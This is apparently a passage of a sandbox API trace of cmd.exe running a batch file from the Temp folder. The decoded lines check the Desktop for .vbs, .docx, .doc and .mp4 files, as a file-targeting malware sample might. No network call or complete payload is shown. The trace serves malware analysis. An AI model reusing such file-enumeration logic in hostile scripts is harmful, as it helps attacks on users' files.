0x4e0000 [0038.423] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.423] GetProcessHeap () returned 0x4e0000 [0038.423] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.423] GetProcessHeap () returned 0x4e0000 [0038.423] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.423] GetProcessHeap () returned 0x4e0000 [0038.423] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.423] GetProcessHeap () returned 0x4e0000 [0038.423] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.423] GetProcessHeap () returned 0x4e0000 [0038.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.424] GetProcessHeap () returned 0x4e0000 [0038.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.424] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.424] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xebe [0038.424] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x176f, lpOverlapped=0x0) returned 1 [0038.424] SetFilePointer (in: hFile=0x74, lDistanceToMove=3776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0038.424] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n\n") returned 2 [0038.424] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.424] GetFileType (hFile=0x74) returned 0x1 [0038.424] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.424] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0038.424] GetProcessHeap () returned 0x4e0000 [0038.424] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.424] GetProcessHeap () returned 0x4e0000 [0038.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.424] _tell (_FileHandle=3) returned 3776 [0038.424] _close (_FileHandle=3) returned 0 [0038.424] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.425] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.425] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.425] SetFilePointer (in: hFile=0x74, lDistanceToMove=3776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0038.425] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.425] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xec0 [0038.425] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x176d, lpOverlapped=0x0) returned 1 [0038.425] SetFilePointer (in: hFile=0x74, lDistanceToMove=3803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0038.425] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0038.425] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.425] GetFileType (hFile=0x74) returned 0x1 [0038.425] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.425] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0038.425] GetProcessHeap () returned 0x4e0000 [0038.425] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.425] GetProcessHeap () returned 0x4e0000 [0038.425] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.425] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.425] GetProcessHeap () returned 0x4e0000 [0038.425] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.425] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.425] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.425] GetProcessHeap () returned 0x4e0000 [0038.425] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.426] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.426] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.426] GetProcessHeap () returned 0x4e0000 [0038.426] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.426] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.426] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.426] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f58c0 [0038.426] GetProcessHeap () returned 0x4e0000 [0038.426] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f6080 [0038.426] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6080, Size=0x18) returned 0x4f58e0 [0038.426] GetProcessHeap () returned 0x4e0000 [0038.426] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x18 [0038.426] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.426] GetProcessHeap () returned 0x4e0000 [0038.426] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.426] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5920 [0038.427] _tell (_FileHandle=3) returned 3803 [0038.427] _close (_FileHandle=3) returned 0 [0038.427] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0038.427] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.427] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.427] GetLastError () returned 0x2 [0038.427] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.427] GetLastError () returned 0x6 [0038.427] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.427] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.428] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.428] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.428] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.428] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.428] SetConsoleInputExeNameW () returned 0x1 [0038.428] GetConsoleOutputCP () returned 0x1b5 [0038.428] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.428] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.428] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.428] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=3803, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0038.429] GetProcessHeap () returned 0x4e0000 [0038.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.429] GetProcessHeap () returned 0x4e0000 [0038.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.429] GetProcessHeap () returned 0x4e0000 [0038.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.429] GetProcessHeap () returned 0x4e0000 [0038.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.429] GetProcessHeap () returned 0x4e0000 [0038.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.429] GetProcessHeap () returned 0x4e0000 [0038.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.429] GetProcessHeap () returned 0x4e0000 [0038.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.429] GetProcessHeap () returned 0x4e0000 [0038.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.429] GetProcessHeap () returned 0x4e0000 [0038.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.429] GetProcessHeap () returned 0x4e0000 [0038.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedb [0038.430] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1752, lpOverlapped=0x0) returned 1 [0038.430] SetFilePointer (in: hFile=0x74, lDistanceToMove=3805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0038.430] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0038.430] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.430] GetFileType (hFile=0x74) returned 0x1 [0038.430] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.430] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0038.430] GetProcessHeap () returned 0x4e0000 [0038.430] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.430] GetProcessHeap () returned 0x4e0000 [0038.430] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.430] _tell (_FileHandle=3) returned 3805 [0038.430] _close (_FileHandle=3) returned 0 [0038.430] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.431] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=3805, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0038.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xedd [0038.431] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1750, lpOverlapped=0x0) returned 1 [0038.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=3830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0038.431] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0038.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.431] GetFileType (hFile=0x74) returned 0x1 [0038.431] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.431] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0038.431] GetProcessHeap () returned 0x4e0000 [0038.431] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.431] GetProcessHeap () returned 0x4e0000 [0038.431] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.431] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.431] GetProcessHeap () returned 0x4e0000 [0038.431] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.432] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.432] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.432] GetProcessHeap () returned 0x4e0000 [0038.432] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.432] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.432] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.432] GetProcessHeap () returned 0x4e0000 [0038.432] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.432] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.432] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.432] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.432] GetProcessHeap () returned 0x4e0000 [0038.432] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.432] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.432] GetProcessHeap () returned 0x4e0000 [0038.432] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.432] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.432] GetProcessHeap () returned 0x4e0000 [0038.432] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.432] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.433] _tell (_FileHandle=3) returned 3830 [0038.433] _close (_FileHandle=3) returned 0 [0038.433] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0038.433] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.433] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.433] GetLastError () returned 0x2 [0038.433] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.433] GetLastError () returned 0x6 [0038.433] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.433] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.434] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.434] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.434] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.434] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.434] SetConsoleInputExeNameW () returned 0x1 [0038.434] GetConsoleOutputCP () returned 0x1b5 [0038.434] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.434] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.434] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.435] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.435] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.435] SetFilePointer (in: hFile=0x74, lDistanceToMove=3830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0038.435] GetProcessHeap () returned 0x4e0000 [0038.435] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.435] GetProcessHeap () returned 0x4e0000 [0038.435] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.435] GetProcessHeap () returned 0x4e0000 [0038.435] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.435] GetProcessHeap () returned 0x4e0000 [0038.435] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.435] GetProcessHeap () returned 0x4e0000 [0038.435] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.435] GetProcessHeap () returned 0x4e0000 [0038.435] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.435] GetProcessHeap () returned 0x4e0000 [0038.435] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.435] GetProcessHeap () returned 0x4e0000 [0038.435] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.435] GetProcessHeap () returned 0x4e0000 [0038.435] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.435] GetProcessHeap () returned 0x4e0000 [0038.435] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0038.436] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1737, lpOverlapped=0x0) returned 1 [0038.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=3832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0038.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0038.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.436] GetFileType (hFile=0x74) returned 0x1 [0038.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0038.436] GetProcessHeap () returned 0x4e0000 [0038.436] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.436] GetProcessHeap () returned 0x4e0000 [0038.436] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.436] _tell (_FileHandle=3) returned 3832 [0038.436] _close (_FileHandle=3) returned 0 [0038.436] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.437] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.437] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.437] SetFilePointer (in: hFile=0x74, lDistanceToMove=3832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0038.437] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.437] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0038.437] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1735, lpOverlapped=0x0) returned 1 [0038.437] SetFilePointer (in: hFile=0x74, lDistanceToMove=3857, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0038.437] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0038.437] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.437] GetFileType (hFile=0x74) returned 0x1 [0038.437] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.437] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0038.437] GetProcessHeap () returned 0x4e0000 [0038.437] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.437] GetProcessHeap () returned 0x4e0000 [0038.437] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.438] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.438] GetProcessHeap () returned 0x4e0000 [0038.438] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.438] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.438] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.438] GetProcessHeap () returned 0x4e0000 [0038.438] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.438] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.438] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.438] GetProcessHeap () returned 0x4e0000 [0038.438] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.438] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.438] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.438] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.438] GetProcessHeap () returned 0x4e0000 [0038.438] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.438] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.438] GetProcessHeap () returned 0x4e0000 [0038.438] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.438] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.438] GetProcessHeap () returned 0x4e0000 [0038.439] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.439] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.439] _tell (_FileHandle=3) returned 3857 [0038.439] _close (_FileHandle=3) returned 0 [0038.440] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0038.440] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.440] FindFirstFileExW (in: 